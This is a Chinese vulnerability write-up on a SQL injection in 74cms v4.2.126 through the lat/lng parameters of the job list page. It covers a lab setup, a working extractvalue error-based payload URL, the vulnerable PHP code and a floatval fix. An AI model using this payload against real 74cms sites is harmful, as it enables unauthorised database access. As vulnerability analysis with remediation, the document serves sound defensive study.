某 cms v4.2.126-通杀sql注入
字数 1129 2025-08-29 08:31:35
74cms v4.2.126 SQL注入漏洞分析与利用
0x00 漏洞概述
74cms v4.2.126版本存在SQL注入漏洞,该漏洞位于职位列表功能中,由于对用户输入的经纬度参数(lat/lng)未进行充分过滤,导致攻击者可以构造恶意SQL语句进行注入攻击。
0x01 环境搭建
1. 下载安装
- 下载地址: http://www.74cms.com/download/index.html
- 安装骑士人才系统基础版
2. 升级到最新版
- 进入后台检查版本
- 如果不是最新版,点击升级
- 本地环境可能遇到"域名不合法升级失败"错误,解决方法:
- 修改文件:
74cms\upload\Application\Admin\Controller\ApplyController.class.php - 查找所有
$_SERVER['HTTP_HOST']改为http://baidu.com
- 修改文件:
0x02 测试数据准备
1. 注册商家账号
- 后台注册商家用户
- 登录前台商家账号
- 设置商家信息:
http://74cms.test/index.php?m=&c=company&a=com_info - 发布职位:
http://74cms.test/index.php?m=&c=Company&a=jobs_add
2. 注册普通用户账号
- 前台注册普通用户(需要短信验证)
- 登录普通用户账号
0x03 漏洞利用
1. 漏洞URL
http://74cms.test/index.php?m=&c=jobs&a=jobs_list&lat=23.176465&range=20&lng=113.35038'
2. 参数说明
lat: 纬度(不超过1)lng: 经度(不超过1)range: 范围
3. Payload示例
http://74cms.test/index.php?m=&c=jobs&a=jobs_list&lat=23.176465&range=20&lng=113.35038* PI() / 180 - map_x PI() / 180) / 2),2))) 1000) AS map_range FROM qs_jobs_search j WHERE (extractvalue (1,concat(0x7e,(SELECT USER()), 0x7e))) -- a
0x04 漏洞分析
1. 请求路由
- M(模块): home (由
DEFAULT_MODULE参数决定) - C(控制器): jobs
- A(方法): jobs_list
2. 漏洞位置
- 视图文件:
74cms\upload\Application\Home\View\default\Jobs\jobs_list.html - 标签库驱动文件:
74cms\upload\Application\Common\qscmstag\jobs_listTag.class.php
3. 漏洞成因
- 用户可控的
lat和lng参数直接赋值给$this->params - 这些参数未经充分过滤就用于SQL查询的
field字段 - 最终构造的SQL语句中直接拼接了用户输入
4. 关键代码
$this->field = "id,ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$this->params['lat']."*PI()/180-map_y*PI()/180)/2),2)+COS(".$this->params['lat']."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$this->params['lng']."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS map_range";
0x05 修复方案
将用户输入强制转换为浮点型:
$this->field = "id,ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".floatval($this->params['lat'])."*PI()/180-map_y*PI()/180)/2),2)+COS(".floatval($this->params['lat'])."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".floatval($this->params['lng'])."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS map_range";
0x06 总结
该漏洞利用了74cms在计算地理位置距离时对用户输入处理不当的问题,通过构造恶意的经纬度参数实现SQL注入。修复方案是对所有用户输入进行强制类型转换,确保其只能作为数值使用。